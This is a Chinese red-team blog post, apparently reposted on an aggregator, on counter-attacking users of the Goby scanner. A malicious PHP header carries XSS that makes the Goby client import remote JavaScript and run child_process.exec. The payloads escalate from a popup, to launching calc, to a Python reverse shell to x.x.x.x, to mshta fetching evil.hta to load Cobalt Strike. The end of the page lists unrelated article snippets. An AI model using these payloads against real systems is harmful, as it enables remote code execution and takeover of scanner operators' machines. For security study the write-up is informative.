红队攻防之Goby反杀

news/2024/5/20 19:58:48

若结局非我所愿,那就在尘埃落定前奋力一搏。

本文首发于先知社区,原创作者即是本人

一、弹xss

为了方便,本次直接使用 PhpStudy 进行建站,开启的web服务要为MySQL+Nginx,这里的 PhpStudy 地址为 http://x.x.x.x,直接将 Web 服务里的 index.php 改为以下内容

<?php
header("X-Powered-By: PHP/<img      src=1       onerror=alert(\"xxxxx\")>");
?>

Goby 在扫描到 http://x.x.x.x 后,可以看到PHP的版本信息已经变为我们的xss弹窗的payload,点击扫描结果里的x.x.x.x

在这里插入图片描述

就会成功触发弹窗

在这里插入图片描述

二、弹计算器

复现 RCE 需要再新建一个 js 文件,在 x.x.x.x 的 www 目录下新建了一个名为 calc 的 js 文件,js 内容如下:
js文件在goby客户端的chrome里如果同名只会第一次去请求,后面就缓存起来了,在测试的时候修改js文件内容没有效果,要同时修改内容和文件名

(function(){
require('child_process').exec('calc');
})()

执行这段 JS 会打开Goby所在主机的计算器
之后将 index.php 的内容修改如下:

<?php
header("X-Powered-By: PHP/<img      src=1       onerror=import(unescape('http%3A//x.x.x.x/calc.js'))>");
?>

Goby 在扫描到 http://x.x.x.x 后,可以看到PHP的版本信息已经变为我们的调用js文件的payload,点击扫描结果里的 x.x.x.x 的详细信息

在这里插入图片描述

成功反弹 计算器

在这里插入图片描述

三、反弹shell

复现 RCE 需要再新建一个 js 文件,在 x.x.x.x 的 www 目录下新建了一个名为 shell 的 js 文件,js 内容如下:

(function(){
require('child_process').exec('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",xxx));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);\'');
})()

执行这段 JS 会利用 Python 反弹 Shell 到 x.x.x.x 主机的 xxx 端口
之后将 index.php 的内容修改如下:

<?php
header("X-Powered-By: PHP/<img      src=1       onerror=import(unescape('http%3A//x.x.x.x/shell.js'))>");
?>

在x.x.x.x 主机的 xxx 端口开启监听
nc -lvp xxx

在这里插入图片描述

Goby 在扫描到 http://x.x.x.x 后,可以看到PHP的版本信息已经变为我们的调用js文件的payload,点击扫描结果里的 x.x.x.x 的详细信息

在这里插入图片描述

成功反弹 shell

在这里插入图片描述

四、上线cs

首先,cs生成VBA或者powershell的Hta程序,并且放到自己的公网服务器上

在这里插入图片描述

上线cs 需要再新建一个 js 文件,在 x.x.x.x 的 www 目录下新建了一个名为 1 的 js 文件,js 内容如下:

(function(){
require('child_process').exec('mshta http://x.x.x.x/evil.hta');
})();

执行这段 JS 会利用Goby所在主机的mshta.exe执行cs生成的VBA的Hta程序
也可以利用文件下载功能使用cs所在的服务器进行加载

在这里插入图片描述

需要将 js 内容修改为:

(function(){
require('child_process').exec('mshta http://x.x.x.x/download/file.ext');
})();

之后将 index.php 的内容修改如下:

<?php
header("X-Powered-By: PHP/<img      src=1       onerror=import(unescape('http%3A//x.x.x.x/1.js'))>");
?>

Goby 在扫描到 http://x.x.x.x 后,可以看到PHP的版本信息已经变为我们的调用js文件的payload,点击扫描结果里的 x.x.x.x 的详细信息

在这里插入图片描述

经测试,cs生成VBA的Hta程序,Windows 10 企业版可以上线

在这里插入图片描述

经测试,cs生成powershell的Hta程序,Windows 7 企业版和Windows 10 企业版可以上线

在这里插入图片描述

网络安全感悟

做网络安全是一个长期的过程,因为做网络安全没有终点,不管是网络安全企业,还是在网络安全行业各种不同方向的从业人员,不管你选择哪个方向,只有在这条路上坚持不懈,才能在这条路上走的更远,走的更好,不然你肯定走不远,迟早会转行或者被淘汰,把时间全浪费掉。如果你觉得自己是真的热爱网络安全这个行业,坚持走下去就可以了,不用去管别人,现在就是一个大浪淘金的时代,淘下去的是沙子,留下来的才是金子,正所谓,千淘万漉虽辛苦,吹尽狂沙始到金,网络安全的路还很长,一生只做一件事,坚持做好一件事!

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

免责声明:由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失,均由使用者本人负责, 文章作者不为此承担任何责任。

转载声明:各家兴 拥有对此文章的修改和解释权,如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经作者允许,不得任意修改或者增减此文章的内容,不得以任何方式将其用于商业目的。

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog公众号:
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect博客:
https://rdyx0.github.io/先知社区:
https://xz.aliyun.com/u/37846SecIN:
https://www.sec-in.com/author/3097FreeBuf:
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

https://www.xjx100.cn/news/3092551.html

相关文章

软件系统运维方案

1.项目情况 2.服务简述 2.1服务内容 2.2服务方式 2.3服务要求 2.4服务流程 2.5工作流程 2.6业务关系 2.7培训 3.资源提供 3.1项目组成员 3.2服务保障 点击获取所有软件开发资料&#xff1a;点我获取

POS系统完整体系的介绍 Pos终端主密钥MK、DUKPT、PEK、DEK、MEK、TUSN的含义 ---安全行业基础篇7

POS系统完整体系的介绍 销售点终端&#xff08;POS机&#xff09;是零售和服务行业中用于处理销售和交易的关键技术。POS系统不仅涉及支付处理&#xff0c;还包括库存管理、顾客关系管理、数据分析等多个方面。下面是POS系统完整体系的介绍&#xff1a; 1. 硬件组件 终端机&…

4G RTU水文数据采集终端应用在水文监测终端系统

4G RTU水文数据采集终端是一种广泛应用于水文监测终端系统中的设备&#xff0c;可实现水文数据采集、传输和处理等多种功能。在水文监测中&#xff0c;4G RTU水文数据采集终端可以实现对水文数据的远程采集、传输和分析&#xff0c;从而提高水文监测的效率和精度。 首先&#…

linux之chmod命令

在linux系统中经常遇到需要对文件修改读写执行的权限&#xff0c;下面对chomod命令进行梳理总结。 1、文件权限 在linux系统中&#xff0c;每个文件都有归属的所有者和所有组&#xff0c;并且规定了文件的所有者、以及其他人对文件所拥有的可读&#xff08;r&#xff09;、可写…

LeetCode:2216. 美化数组的最少删除数(C++)

目录 2216. 美化数组的最少删除数 题目描述&#xff1a; 实现代码与解析&#xff1a; 贪心&#xff1a; 原理思路&#xff1a; 2216. 美化数组的最少删除数 题目描述&#xff1a; 给你一个下标从 0 开始的整数数组 nums &#xff0c;如果满足下述条件&#xff0c;则认为数…

go语言学习-数据结构

1、数组 package mainimport "fmt"func main() {// 数组:一组具有相同类型并且长度固定的一个数据集合// 使用场景:班级,三位老师,// var 数组名 = [数组长度]数组的类型{数组的数据}var teacherNameArray = [3]string{"张宇", "张二", &qu…

SwiftUI 如何动态开始和停止播放永久重复(repeatForever)动画

0. 功能需求 在 SwiftUI 丰富多彩的动画世界中,我们有时希望可以随意开始和停止永久循环(repeatForever)的动画,不过这时往往会产生错误的动画“叠加”效果。 从上图可以看到:虽然我们希望密码输入框背景只在用户输入密码时才发生闪烁,但顶部的密码输入框随着不断输入其…

国外媒体套餐发稿,快速升级曝光率,数千倍转换率!

在如今数字化时代&#xff0c;国外市场的开拓对企业来说变得越发关键。应对激烈竞争&#xff0c;怎样快速升级曝光率、做到高转换率变成了重要环节。下面我们就详细介绍一种名为“国外媒体套餐内容推广”的思路&#xff0c;根据开发利用国外媒体网络资源&#xff0c;为公司实现…